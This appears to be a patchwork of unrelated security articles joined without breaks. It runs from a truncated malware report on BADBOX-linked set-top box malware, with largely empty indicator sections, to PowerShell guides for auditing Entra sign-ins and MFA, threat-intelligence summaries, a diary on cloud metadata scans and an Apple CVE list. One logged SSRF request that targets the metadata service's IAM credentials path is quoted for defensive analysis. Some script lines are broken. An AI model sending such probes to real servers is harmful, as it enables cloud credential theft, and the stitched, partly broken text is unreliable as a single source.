While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

On the registration page hosted at admin.uipoxy[.]com, we also found the string copyright © 2020 proxyforu[.]com all rights reserved, which linked to hxxps://proxyforu[.]com, the website of ProxyForU, another vendor of residential proxy services.

We found several similarities in the authentication APIs across all of these sites:

Conclusion

Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

Indicators of compromise

Stage 1: JarService

Stage 2: loader

Stage 3: loader/clicker

zhima module

Domains and IP addresses

Addresses used to download JarService

Hashes of TWCore (the legitimate software used to distribute JarService)

2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5

One thing that folks never seem to do after "going to the CLOOOOUUUUD" is to look at their logs, logs that they would have checked daily when things were on premise.
One log that really bears looking at is the log of successful and failed logins. the call for that is:
# import needed, if they're not already in place
Import-Module Microsoft.Graph.Reports

# connect with the correct scope
Connect-MgGraph -Scopes "AuditLog.Read.All", "Directory.Read.All"

This is an interactive login to OWA, which failed on a conditional access check
What is that under location though - that's likely why this failed. How do we get the "where" from that? And why does the status got a similar string in it instead of an actual status?
The command below shows us pulling only failed logins ("status/errorCode ne 0"), extracting the geo location info, and also the failure reason

Get-MgAuditLogSignIn -Filter "status/errorCode ne 0" -All | Select-Object `
CreatedDateTime,
UserPrincipalName,
IPAddress,
@{Name="City"; Expression={$_.Location.City}},
@{Name="State"; Expression={$_.Location.State}},
@{Name="Country"; Expression={$_.Location.CountryOrRegion}},
@{Name="FailureReason"; Expression={$_.Status.FailureReason}}

Aha! Now we have that otherwise hidden information! It's this sort of list where you'll see password sprays show up. The list below shows part of such an attack, note that the last two lines show the account is locked. The "IP address with malicious activity" alert generally means that this is a rotating proxy service, and the IP's in it have been fully or partially enumerated as "bad".

Or, looking for successful logins from unexpected countries, the command below. Let's also remove the State / City info, normally it's just the country that matters, at least on the first pass through the data.

#Get all successful logins
$f = Get-MgAuditLogSignIn -Filter "status/errorCode eq 0" -All | Select-Object `
CreatedDateTime,
UserPrincipalName,
UserDisplayName,
AppDisplayName,
ResourceDisplayName,
IsInteractive,
IPAddress,
@{Name="Country"; Expression={$_.Location.CountryOrRegion}},
@{Name="FailureReason"; Expression={$_.Status.FailureReason}}

# remove expected countries, and what is left is unexpected
# Just as Sherlock Holmes (or Occam) would say
$f | Where { $_.Country -notin $ExpectedCountries } | out-gridview

In writing this diary, I found multiple password spray attacks. This helped the client tighten up their conditional access policies, which was one of our goals going in.

Take a run at your Entra logs using the methods above. Let us know in the comments if you found any unexpected (or expected) events or attacks, or if you were able to use your logs to effect a change in your configuration (in conditional access polices for instance)

In every MFA rollout, there will come a time where you think you are closing in on "done", and some automation to list what's left would be handy. Something quicker than scrolling through the web interface through thousands of accounts ...
This is that method.
Also, remember when we discussed yesterday about the beta graph commands in the Microsoft.Graph.Beta library? We'll use one of those beta commands here!

# import, if it's not already there
Import-Module -Name Microsoft.Graph.Beta.Reports

# with the necessary auditing scope
Connect-MgGraph -Scopes "AuditLog.Read.All", "User.Read.All"

$AllMFADetails = Get-MgBetaReportAuthenticationMethodUserRegistrationDetail -All

# We're only interested in users who are NOT yet registered for MFA
$NonMFAUsers = $AllMFAdetails | Where-Object { $_.IsMfaRegistered -eq $false }

$t = foreach ($User in $NonMFAUsers) {
# user by user, collect account details (primary if it's enabled)
# then construct the userobj record
# note the join adds the object to the list

[PSCustomObject]@{
"UserPrincipalName" = $User.UserPrincipalName
"DisplayName" = $User.UserDisplayName
"AccountEnabled" = $UserObj.AccountEnabled
"MethodsRegistered" = ($User.UserPreferredMethodForSignIn -join ", ")
}
}

Note that the last two columns are for MFA methods, so they'll be blank, but we'll use those in a sec.
I'm not displaying the output in this case, as it's essentially a list of actual user accounts.

You can also modify this a bit, for instance if you were tightening up your MFA setup, because your auditor told you to root out folks using SMS for MFA for instance, this is definitely the command set to use. You'd want $_.IsMfaRegistered -eq $true, but then look for "SMS" in the Methods registered or Default MFA columns. Surprisingly in this last check I saw a number of folks with "voiceMobile" (ie a voice callback) as their primary MFA.

Give this a try, let us know in the comments if you find some unexpected folks who skated by the MFA login policy requirements ....

Building on the last diary on Using MS Graph and Powershell, let's look at "Risky" logins.

Risky logins are a derived set of parameters that look at various (you guessed it) risky login parameters. What is considered a risk?
In most cases this is either impossible geography - in other words "we're not expecting to see you at that IP, in that subnet, ASN or country", or unusual device - ie "that's not your regular computer"

There are two groups of commands in this area. You can do Risk Detection in a basic Entra license, but to work with Persistent Risk User accounts you need to bump up your license. So it'll cost you every month to use these commands:

However, you can get a fair way with a basic Entra license and the Get-MgRiskDetection command. Let's focus on just that, since we all have at least that license level (if you're still reading that is).

#first connect to graph with the right Identity Protection scopes
Connect-MgGraph -Scopes "IdentityRiskyUser.Read.All", "IdentityRiskEvent.Read.All"
$riskylogins = Get-MgRiskDetection -all

Note that if you've already done remediation and marked off events as dealt with, you can filter those events out with:

$riskylogins = Get-MgRiskDetection -All -Filter "riskState ne 'dismissed' and riskState ne 'remediated'"

$riskylogins | select userdisplayname, activitydatetime, ipaddress, additionalinfo

hmm, that last field is the key one, it's in JSON format, with more info than we likely want for a summary. Let's look at one record, and convert from JSON:
$riskylogins[2].additionalinfo | convertfrom-json

Key Value
--- -----
riskReasons {UnfamiliarDevice, UnfamiliarEASId, UnfamiliarTenantIPsubnet}
userAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0 AnyConnect/5.1.9.113 (win)
alertUrl
mitreTechniques T1078.004

So most likely we'll want that list of risk reasons in our summary report - let's extract that for our test object:

($riskylogins[2].additionalinfo | convertfrom-json)[0].value
UnfamiliarDevice
UnfamiliarEASId
UnfamiliarTenantIPsubnet

OK, now let's pull the list with just that information, using our new best friend - yup, a computed field and a join!

$riskylogins | select userdisplayname, activitydatetime, ipaddress, @{N='Reason';E={ (($_.additionalinfo | convertfrom-json)[0].value ) -join '; '}} | out-gridview

In this case, looking deeper at the IP's, these are login attempts from Malaysia, Colombia and South Korea. Digging deeper into the text, we found a client IP from Warsaw. With another loop you could use something like the ipinfo API to relate those IP's back to geo-locations easily enough - it's always another loop in PowerShell it seems.

That second item and the last one lists the useragent though instead of the risk reasons, let's extract that key-value pair specifically rather than count on it being the first in the list

($riskylogins[4].additionalinfo | convertfrom-json) | where { $_.Key -eq "riskReasons" }
Key Value
--- -----
riskReasons {UnfamiliarDevice, UnfamiliarEASId, UnfamiliarTenantIPsubnet}

(($riskylogins[4].additionalinfo | convertfrom-json) | where { $_.Key -eq "riskReasons" }).value
UnfamiliarDevice
UnfamiliarEASId
UnfamiliarTenantIPsubnet

$riskylogins | select userdisplayname, activitydatetime, ipaddress, @{N='Reason';E={ ((($_.additionalinfo | convertfrom-json) | where { $_.Key -eq "riskReasons" })).value -join '; '}} | out-gridview

So the risks in the list above boil down to: you are in an unusual location (IP address, subnet, ASN, Location, or you are using an unfamiliar device.

Hmm - looking at those IP addresses, you're thinking - can I look those up using the APIs for ipinfo or maxmind? No need, it's already there, if you run "$riskylogins | gm", you'll see a "location" object.

$RiskyLogins[4].location
City CountryOrRegion State
---- --------------- -----
Gunseo-Myeon KR Chungcheongbuk-Do

Which means we need another computed field to make things work in the "report" command:

$riskylogins | select userdisplayname, activitydatetime, ipaddress, @{N='Country';e={($_.location.countryorregion)}}, @{N='Reason';E={ ((($_.additionalinfo | convertfrom-json) | where { $_.Key -eq "riskReasons" })).value -join '; '}} | out-gridview

To just view this in a text table, you could use " | ft " instead of out-gridview, or send it to an excel-readable file wiht "| out-csv"

Please, use our comment form and let us know if you've used these concepts in Graph to find a security event that you wouldn't otherwise have found!

Microsoft Graph is a newer API that is meant to replace several others. OK, it's at version 2.3.9, so it's not all that new, but it's new enough that lots of folks (and commercial tools) aren't using it yet. It allows you to Get and Set info from/to M365, Entra Users and Entra managed machines for starters. Let's dig in!

Install-Module Microsoft.Graph -Repository PSGallery
# the beta likely isn't needed for most installs, but install it if desired
Install-Module Microsoft.Graph.Beta -Repository PSGallery

Finally, you'll need to connect to your Entra account / directory
Connect-MgGraph -Scopes "User.Read.All

$AllUsers = Get-MgUser -All -Property Id, DisplayName, UserPrincipalName, AccountEnabled, SignInActivity | Where-Object { $_.AccountEnabled -eq $true }

Note the "-All" - this API has a default "first 100 objects" limit, if you are managing an actual domain you likely will always need a "-All" unless you are testing a script and want it to run faster.

If you want last password change included? You'll need to ask for that in the initial get-mguser call, it's not in the default returned list of results:
Get-MgUser -All -Property DisplayName, UserPrincipalName, LastPasswordChangeDateTime | Select-Object DisplayName, UserPrincipalName, LastPasswordChangeDateTime

Cool, now you have a list of accounts and their last password change, that's worth a sort in Excel (or | Out-GridView) and a few emails. Heck, since your in excel you could automate that right down to the email if you wanted.

What else? Looking at $allusers | gm, we see a property called "assignedLicenses" - let's look at that:
Get-MgUser -UserId $u -Property AssignedLicenses | Select-Object -ExpandProperty AssignedLicenses

DisabledPlans SkuId
------------- -----
{} 05e9a617-0261-4cee-bb44-138d3ef5d965
{} 639dec6b-bb19-468b-871c-c5c441c4b0cb
{} 5b631642-bd26-49fe-bd20-1daaa972ef80
{} a403ebcc-fae0-4ca2-8c8c-7a907fd6c235
{} f30db892-07e9-47e9-837c-80727f46fd3d

For the real thing (that a human can read), we'll want a whole different command:
get-mguserlicensedetail -userid $u | Select-Object SkuId, SkuPartNumber

SkuId SkuPartNumber
----- -------------
05e9a617-0261-4cee-bb44-138d3ef5d965 SPE_E3
639dec6b-bb19-468b-871c-c5c441c4b0cb Microsoft_365_Copilot
5b631642-bd26-49fe-bd20-1daaa972ef80 POWERAPPS_DEV
a403ebcc-fae0-4ca2-8c8c-7a907fd6c235 POWER_BI_STANDARD
f30db892-07e9-47e9-837c-80727f46fd3d FLOW_FREE

So to add this to a regular one-liner without a powershell loop for each account, we'll need a join, we'll add this to our original get-mguser call (because if this is for a human to read, you don't want the SkuId normally):

@{N='License';E={(Get-MgUserLicenseDetail -All -UserId $_.id).SkuPartNumber -join ';'}}

And to also, just for fun let's also pull the last interactive and non-interactive login dates:
@{N='LastInteractiveSignInDate';E={$_.SignInActivity.LastSignInDateTime}}, `
@{N='LastNonInteractiveSignInDate';E={$_.SignInActivity.LastNonInteractiveSignInDateTime}}

Also, let's pull the list of properties into a variable to make the call simpler (the computed statements are bolded):

$Properties = @('AccountEnabled','City','Country','Department','DisplayName','JobTitle','UserPrincipalName','CreatedDateTime','SignInActivity', 'LastPasswordChangeDateTime')

$Users = Get-MgUser -All -Property $Properties |
Select-Object @{N='AccountEnabled';E={$_.AccountEnabled}}, `
@{N='City';E={$_.City}}, `
@{N='Country';E={$_.Country}},
@{N='Department';E={$_.Department}},
@{N='DisplayName';E={$_.DisplayName }}, `
@{N='JobTitle';E={$_.JobTitle }}, `
@{N='UserPrincipalName';E={$_.UserPrincipalName}}, `
@{N='CreatedDateTime';E={$_.CreatedDateTime}}, `
@{N='LastInteractiveSignInDate';E={$_.SignInActivity.LastSignInDateTime}}, `
@{N='LastNonInteractiveSignInDate';E={$_.SignInActivity.LastNonInteractiveSignInDateTime}},
@{N='License';E={(Get-MgUserLicenseDetail -UserId $_.UserPrincipalName).SkuPartNumber -join '; '}}

This can take a while - for each user, those last 3 lines add time. The two "signindate" fields are an additional lookup, and the license detail line is a whole other command for each line.
So it's essentially another loop, but buried in standard syntax so you don't have to code a less efficient version ....

OK, so we have the last login dates so we can pick off inactive accounts, and license usage. Also accounts that have been explicity disagbled (that firstr "AccountEnabled" field) Dump the whole thing out to a CSV file with "| Out-CSV" , and you're an Excel sort away from a list of MS licenses you can stop paying for and a list of Entra accounts that you can likely disable or delete. Or if you are philosphically opposed to spreadsheets or excel in particular, you can do the same with "| Out-GridView", except emailing your results can be a problem from there ...

But what about a real security thing, something your SOC might alert on? Stay tuned, that's next ...

Security researchers at ExaTrack report on StealNui, an emerging C++-based Remote Access Trojan (RAT) crafted for Linux platforms. The malware provides operators with extensive espionage and surveillance functionality. Its toolkit includes screen capture utilities, a keystroke logger, reverse shell access, local file exfiltration, and arbitrary remote command execution and a cryptocurrency clipper module. In addition to surveillance, the implant actively loots sensitive user data, specifically targeting Discord authentication tokens, Roblox session cookies, and stored web browser credentials. The malware leverages Discord as its command-and-control (C2) channel and secures prolonged access using several persistence mechanisms across Linux hosts.

In a recent write-up, Cisco Talos details an undocumented phishing framework dubbed JWR, which is built to impersonate major payment and e-commerce platforms. Delivered primarily through SMS lures disguised as postal and toll authorities in Southeast Asia and the Middle East, the framework operates as a highly interactive, real-time threat rather than a static credential harvester. Attackers maintain live control over the victim's session using an encrypted WebSocket connection, allowing them to stream keystrokes as they are typed and remotely dictate the flow of the attack. Through this hands-on-keyboard approach, operators can dynamically serve additional forms to siphon payment card details, identity documents, and two-factor authentication codes. Analysts assess this toolkit is likely a variant of the previously established "The Outsider" phishing-as-a-service platform.

Attack chain decomposition: SMS text message lure (postal/courier impersonation) → Malicious URL → JWR phishing page loaded (Vue.js application) → Persistent WebSocket C2 connection established → Real-time keystroke streaming → Operator-driven form delivery (credentials, 2FA, identity documents) → Data exfiltration → Victim redirection

Researchers at Seqrite recently reported a campaign orchestrated by a China-nexus threat actor targeting Myanmar's government and IT sectors. Dubbed Operation QUICSILVER, the attacks single out diplomats and officials by using deceptive Burmese-language graduation ceremony invitations packaged inside Virtual Hard Disk (VHD) files.

Per their analysis, once a victim mounts the VHD, they are presented with a malicious shortcut disguised as a PDF document. Opening this shortcut triggers a legitimate FTP utility to silently reconstruct a hidden payload from split files. This process deploys QUICAgent, a custom Go-based backdoor that uses Cloudflare Workers to dynamically resolve its command-and-control infrastructure. The implant is particularly notable for utilizing the QUIC protocol over UDP and RC4 encryption to obscure its malicious traffic while executing remote commands and exfiltrating data.

Attack chain decomposition: VHD file → LNK shortcut disguised as PDF → FTP utility execution → Payload reconstruction → Go-based backdoor execution (QUICAgent) → Dynamic C2 resolution via Cloudflare Workers → C2 communication via QUIC over UDP/443 → Persistence via Startup folder shortcut

Lucid Stealer is a sophisticated information-harvesting malware variant promoted through Telegram that masquerades as a legitimate Node.js JavaScript runtime. Upon execution, the malware deploys native modular components to conduct data harvesting operations. As reported by the researchers from Cyfirma, the malware forcibly terminates running processes to exfiltrate saved credentials, cookies, autofill entries, bookmarks, browsing histories, and payment card details across numerous Chromium- and Gecko-based web browsers. Furthermore, it intercepts Discord authorization tokens, copies sensitive files from popular cryptocurrency wallet applications (such as Exodus, Atomic Wallet, and Binance), captures desktop screenshots, and logs user keystrokes using a PowerShell script. Stolen data is continuously exfiltrated through persistent WebSocket connections and Axios-driven HTTP POST requests to command-and-control servers.

Cybersecurity researchers at Zscaler ThreatLabz uncovered C2Looper, an emerging Rust-based malware strain likely utilized by extortion actors and initial access brokers to establish footholds for network intrusion. Operating as a backdoor, C2Looper enables adversaries to perform system reconnaissance, run remote shell commands, dynamically resolve Windows APIs, and deliver secondary payloads for lateral movement. The threat remains under rapid development, evolving across multiple versions. Early variants relied on straightforward, plaintext HTTP POST requests containing JSON-formatted metadata to beacon host information back to adversary servers. A newer iteration, internally designated as version 2, is deployed directly through older implants and leverages GitHub repositories for all command-and-control operations.

Kaspersky’s GReAT team has identified a major upgrade to the CoolClient backdoor, used by the Mustang Panda (aka HoneyMyte) APT group against government and corporate targets across Asia and Russia. Deployed alongside PlugX, CoolClient is sideloaded via a legitimate Sangfor application, executes an RPC-based privilege escalation, and injects into a suspended system process. The update introduces a signed kernel-mode driver controlled by the user-mode payload via IOCTL handlers. This driver hides and protects the malware’s processes, files, and registry keys while hooking networking components to mask command-and-control communications from security and forensic tools.

Researchers at The Raven File recently reported a new ransomware family known as Majinahanashi, marking the emergence of another Japanese-themed extortion group. Translating to "ghost stories," the operators follow the branding patterns of earlier threats like Yurei and Tengu. The group leverages a non-vanity Tor domain for its data leak site. On successful compromise, a .majin extension will be appended to encrypted files.

Based on the victims they have claimed, this actor focuses on mid-sized enterprises globally, with average victim revenues of around $25 million and recorded targets including a high-revenue organization in Switzerland. Prior to releasing full datasets, the attackers publish stolen personally identifiable information as proof of compromise, indicating a standard double-extortion operational model.

LevelBlue SpiderLabs has published a report on a previously undocumented remote administration tool named CNCMachineRMS, distributed through a deceptive ClickFix lure. The infection flow abuses a legitimately signed IBM executable to activate a sequence of decoy dynamic link libraries, ultimately executing a BabaDeda shellcode loader. Once deployed, the CNCMachineRMS trojan grants attackers comprehensive hands-on-keyboard access, including screen capture, file management, and the creation of backdoor local accounts with elevated privileges. Notably, the implant evades traditional behavioral signatures by dynamically constructing its strings in memory, utilizing its own custom scripting language for task execution, and routing command-and-control traffic through DNS over HTTPS to bypass standard network logging.

The researchers from Checkpoint recently presented an update on ongoing malicious deployments of the Gh0st RAT, which is a well known Remote Access Trojan designed to grant cybercriminals covert, full-scale surveillance and unauthorized control over compromised endpoints. The malware relies on a modular client-server framework consisting of an administrative management console, a setup dropper, a persistent user-level payload, and an evasion-focused kernel driver. Attackers distribute Gh0st RAT through diverse social engineering vectors, including unsolicited phishing emails, direct messages across social networks, compromised Discord communities, and deceptive YouTube software lures. Once established, the malware conducts host reconnaissance and extracts sensitive assets - such as saved browser credentials, autofill records, financial details, and system hardware specifications. These modular capabilities allow operators to maintain persistent access and execute high-impact data exfiltration across targeted environments.

Discovered by FortiGuard Labs, Evooo1Bot is an emerging Linux malware family named after a hardcoded string embedded in its binaries. Active against internet-exposed systems across multiple regions since at least July 2026, the botnet expands upon Mirai’s leaked DDoS engine with a sophisticated, modular toolset. Beyond traditional DDoS functionality - which includes highly customizable HTTP flood attacks - Evooo1Bot features multiple specialized offensive modules. It incorporates a credential-harvesting sniffer alongside an SSH brute-force engine designed to detect and bypass honeypots by inspecting target banners during protocol handshakes. Furthermore, a dedicated proxy component converts infected hosts into SOCKS5 network relays, operating over default ports with dual-stack IPv6 and IPv4 compatibility.

Project CAV3RN is an evolving cyberespionage framework distinguished by its modular architecture and stealthy communication methods. Recent intelligence presented by the researchers from Securelist reveals the attackers leveraging command-and-control mechanism orchestrated through a 64-bit .NET 8 NativeAOT module. The payload utilizes DNS A-record queries to dynamically determine whether outbound traffic routes directly to an attacker-managed server or via an intermediate Google Apps Script relay.

Furthermore, the malware incorporates a local DLL broker that discovers, coordinates, and hot-swaps functional modules in memory while the infected machine remains operational, granting operators resilience and runtime upgrade flexibility. By transitioning from previously abused platforms like Outlook calendar events to Google Apps Script, the threat actors attempt to camouflage malicious traffic within standard enterprise cloud communications.

Cloud providers typically expose a REST API at 169.254.169.254 that allows code running on virtual machines to retrieve machine-specific data. Some of the data is more or less harmless, such as the region the machine is running in or its MAC and IP addresses. However, the service may also be used to retrieve credentials for IAM roles and service account tokens.

Why 169.254.169.254, and not, for example, an RFC1918 address or loopback? RFC 1918 addresses are usually used and routed internally by cloud providers. Interfering with them would be risky and add complexity. The loopback interface is often treated differently from a normal interface, particularly in containers, and is not well-suited for traffic that must be controlled by the operating system's packet-filtering mechanisms. 169.254.169.254 is part of the link local address prefix 169.254/16 [RFC3927]. These addresses are specifically not routable, unlike RFC 1918 addresses, which may be routed locally ("The host MUST NOT send a packet with an IPv4 Link-Local destination address to any router for forwarding.").

This unique property of link-local addresses makes them ideal for addresses used multiple times , and that must never be routed. An attacker will not be able to reach out to this address remotely. But there is a "trick": the virtual machine itself can reach the metadata service, and if an attacker uses server-side request forgery (SSRF) to trick the server into sending the request, the address may be reached. The attacker could now use this SSRF vulnerability to retrieve secrets [1].

Probably the best-known breach assisted by the metadata service was Capital One, which led to a huge data leak and later to the prosecution of the attacker. Since then, we have seen attempts to exploit SSRF vulnerabilities in order to access the metadata service. But what I notied today is a widespread scan that appears to be not targeted at a particular vulnerability:

GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: [redacted]
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
This scan does not appear to target a specific vulnerability; it is a more generic attempt to find "some" vulnerability, and it is not clear which one. If you have any insight, please let me know :)

As far as securing the metadata service goes, Amazon used version 2 of the service following the Capital One breach. A simple "GET" request is no longer sufficient, making SSRF access highly unlikely.

Special IPv6 note: IPv6 uses fd20:ce::254, which is a unique local address, more like an RFC 1918 address instead of an IPv6 link-local fe80:: address.

Apple today released updates for iOS/iPadOS (26 and 18) and macOS 26. This update fixes 108 vulnerabilities and comes about two weeks after the much smaller macOS update that addressed the single screen-sharing vulnerability. This vulnerability did not affect iOS/iPadOS.

None of the vulnerabilities has been exploited so far. There are a few WebKit vulnerabilities, but no standalone Safari patch for older operating systems. 87 of the vulnerabilities affect only iOS 18, making this more of an iOS 18 release than one for the newer operating systems. Only six vulnerabilities affect all three OSs released today. All 6 vulnerabilities affect WebKit.

Apple's vulnerability summary notes that the vulnerabilities patched in today's VisionOS release will be enumerated at a later date.

iOS 26.6.1 and iPadOS 26.6.1	iOS 18.7.10 and iPadOS 18.7.10	macOS Tahoe 26.6.2
CVE-2026-28958: An app may be able to access sensitive user data. Affects WebKit
	x
CVE-2026-28973: A malicious app may be able to break out of its sandbox. Affects libc
	x
CVE-2026-28984: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
	x
CVE-2026-28990: Processing a maliciously crafted image may corrupt process memory. Affects ImageIO
	x
CVE-2026-28996: An app may be able to access sensitive user data. Affects Storage
	x
CVE-2026-39868: An app may be able to cause unexpected system termination or corrupt kernel memory. Affects Kernel
	x
CVE-2026-39877: An app may be able to disclose kernel memory. Affects IOSkywalkFamily
	x
CVE-2026-43661: Processing a maliciously crafted image may corrupt process memory. Affects ImageIO
	x
CVE-2026-43663: Processing maliciously crafted web content may lead to an unexpected process crash. Affects WebKit
	x
CVE-2026-43667: An attacker in a privileged network position may be able to cause a denial-of-service. Affects AirDrop
	x
CVE-2026-43673: Processing a maliciously crafted audio file may corrupt process memory. Affects CoreAudio
	x
CVE-2026-43676: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
	x
CVE-2026-43700: Processing maliciously crafted web content may disclose sensitive user information. Affects WebKit
	x
CVE-2026-43701: A malicious website may be able to process restricted web content outside the sandbox. Affects WebKit
	x
CVE-2026-43705: Processing maliciously crafted web content may lead to memory corruption. Affects WebKit
	x
CVE-2026-43708: A malicious website may exfiltrate data cross-origin. Affects WebKit
	x
CVE-2026-43711: Processing a maliciously crafted video file may lead to unexpected app termination. Affects CoreMedia
	x
CVE-2026-43714: A malicious app may be able to access protected user data. Affects Foundation
	x
CVE-2026-43717: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebRTC
	x
CVE-2026-43720: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit Canvas
	x
CVE-2026-43722: An app may be able to leak sensitive kernel state. Affects Kernel
	x
CVE-2026-43723: An app may be able to gain root privileges. Affects MediaRemote
	x
CVE-2026-43724: An app may be able to cause unexpected system termination or write kernel memory. Affects Kernel
	x
CVE-2026-43725: A malicious website may be able to process restricted web content outside the sandbox. Affects WebKit
	x
CVE-2026-43727: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
	x
CVE-2026-43729: Processing a maliciously crafted image may corrupt process memory. Affects Model I/O
	x
CVE-2026-43731: Processing maliciously crafted web content may lead to memory corruption. Affects WebKit
	x
CVE-2026-43735: A malicious website may exfiltrate data cross-origin. Affects WebKit
	x
CVE-2026-43738: Processing a maliciously crafted asset catalog may result in disclosure of process memory. Affects CoreUI
	x
CVE-2026-43742: Processing maliciously crafted web content may lead to an unexpected process crash. Affects WebKit
	x
CVE-2026-43744: Processing an audio stream in a maliciously crafted media file may terminate the process. Affects CoreAudio
	x
CVE-2026-43745: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
	x
CVE-2026-43754: An app may be able to leak sensitive kernel state. Affects Kernel
	x
CVE-2026-43757: An app may be able to cause unexpected system termination. Affects Kernel
	x
CVE-2026-43769: An app may be able to cause unexpected system termination. Affects Kernel
	x
CVE-2026-43776: Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution. Affects AppleDouble
	x
CVE-2026-43778: An app may be able to cause unexpected system termination or corrupt kernel memory. Affects Kernel
	x
CVE-2026-43794: Processing maliciously crafted web content may lead to memory corruption. Affects WebKit
x	x	x
CVE-2026-43796: An app may be able to read a persistent device identifier. Affects Game Center
	x
CVE-2026-43797: An app may be able to access information about a user's contacts. Affects Contacts
	x
CVE-2026-43800: An app may be able to access sensitive user data. Affects Siri
	x
CVE-2026-43801: An app may be able to access sensitive user data. Affects App Store
	x
CVE-2026-43802: An app may be able to cause unexpected system termination. Affects CoreVideo
	x
CVE-2026-43803: A remote attacker may be able to cause unexpected system termination. Affects CoreAudio
	x
CVE-2026-43807: A malicious accessory may be able to cause unexpected app termination. Affects MobileAccessoryUpdater
	x
CVE-2026-43810: A remote user may be able to cause unexpected system termination or corrupt kernel memory. Affects Kernel
	x
CVE-2026-43811: An app may be able to modify protected parts of the file system. Affects Books
	x
CVE-2026-43812: An app may be able to cause unexpected system termination. Affects Pro Res
	x
CVE-2026-43818: Processing a maliciously crafted image may lead to arbitrary code execution. Affects ImageIO
	x
CVE-2026-43821: An app may be able to read files outside of its sandbox. Affects WebKit Process Model
	x
CVE-2026-64692: An app may be able to cause a denial-of-service. Affects Heimdal
	x
CVE-2026-64693: Processing a maliciously crafted image may lead to a denial-of-service. Affects ImageIO
	x
CVE-2026-64695: A remote user may be able to cause unexpected system termination or corrupt kernel memory. Affects APFS
	x
CVE-2026-64700: An app may be able to cause unexpected system termination. Affects Kernel
	x
CVE-2026-64707: An app may be able to delete files for which it does not have permission. Affects BackgroundAssets
	x
CVE-2026-64709: An app may be able to disclose kernel memory. Affects Kernel
	x
CVE-2026-64715: Processing maliciously crafted web content may lead to an unexpected process crash. Affects WebKit
x		x
CVE-2026-64719: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebRTC
	x
CVE-2026-64721: An app may be able to access sensitive user data. Affects Kernel
	x
CVE-2026-64722: Processing a 3D model may result in disclosure of process memory. Affects Model I/O
	x
CVE-2026-64723: An app may be able to access sensitive user data. Affects Kernel
	x
CVE-2026-64724: An attacker on the local network may be able to cause a denial-of-service. Affects mDNSResponder
	x
CVE-2026-64725: An app may be able to cause a denial-of-service. Affects Audio
	x
CVE-2026-64726: An attacker in physical proximity may be able to corrupt process memory. Affects Wi-Fi
	x
CVE-2026-64732: An attacker with physical access may be able to access sensitive user data during iPhone Mirroring. Affects Accessibility
	x
CVE-2026-64734: Processing a maliciously crafted contact may leak sensitive data. Affects Contacts
	x
CVE-2026-64735: A remote attacker may be able to bypass network filters. Affects Kernel
	x
CVE-2026-64738: A malicious app may be able to break out of its sandbox. Affects Maps
	x
CVE-2026-64739: An attacker may be able to cause unexpected app termination. Affects Libnotify
	x
CVE-2026-64740: A malicious app may be able to break out of its sandbox. Affects Game Center
	x
CVE-2026-64742: An app may be able to access sensitive user data. Affects FrontBoard
	x
CVE-2026-64743: An app may be able to access sensitive user data. Affects Managed Configuration
	x
CVE-2026-64744: An app may be able to disclose kernel memory. Affects Kernel
	x
CVE-2026-64746: An app may be able to add contacts without user authorization. Affects Contacts
	x
CVE-2026-64747: An app may be able to execute arbitrary code with kernel privileges. Affects AVEVideoEncoder
	x
CVE-2026-64749: An app may be able to cause unexpected system termination or corrupt kernel memory. Affects Kernel
	x
CVE-2026-64755: An app may be able to access sensitive user data. Affects WorkoutKit
	x
CVE-2026-64757: Processing maliciously crafted web content may lead to an unexpected Safari crash. Affects WebKit
	x
CVE-2026-64760: An app may be able to leak sensitive kernel state. Affects IOSurfaceAccelerator
	x
CVE-2026-64762: An app may be able to cause unexpected system termination. Affects AVEVideoEncoder
	x
CVE-2026-64763: Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution. Affects SceneKit
	x
CVE-2026-64764: Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution. Affects SceneKit
	x
CVE-2026-64765: Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution. Affects SceneKit
	x
CVE-2026-64768: A remote attacker may cause an unexpected app termination. Affects Model I/O
	x
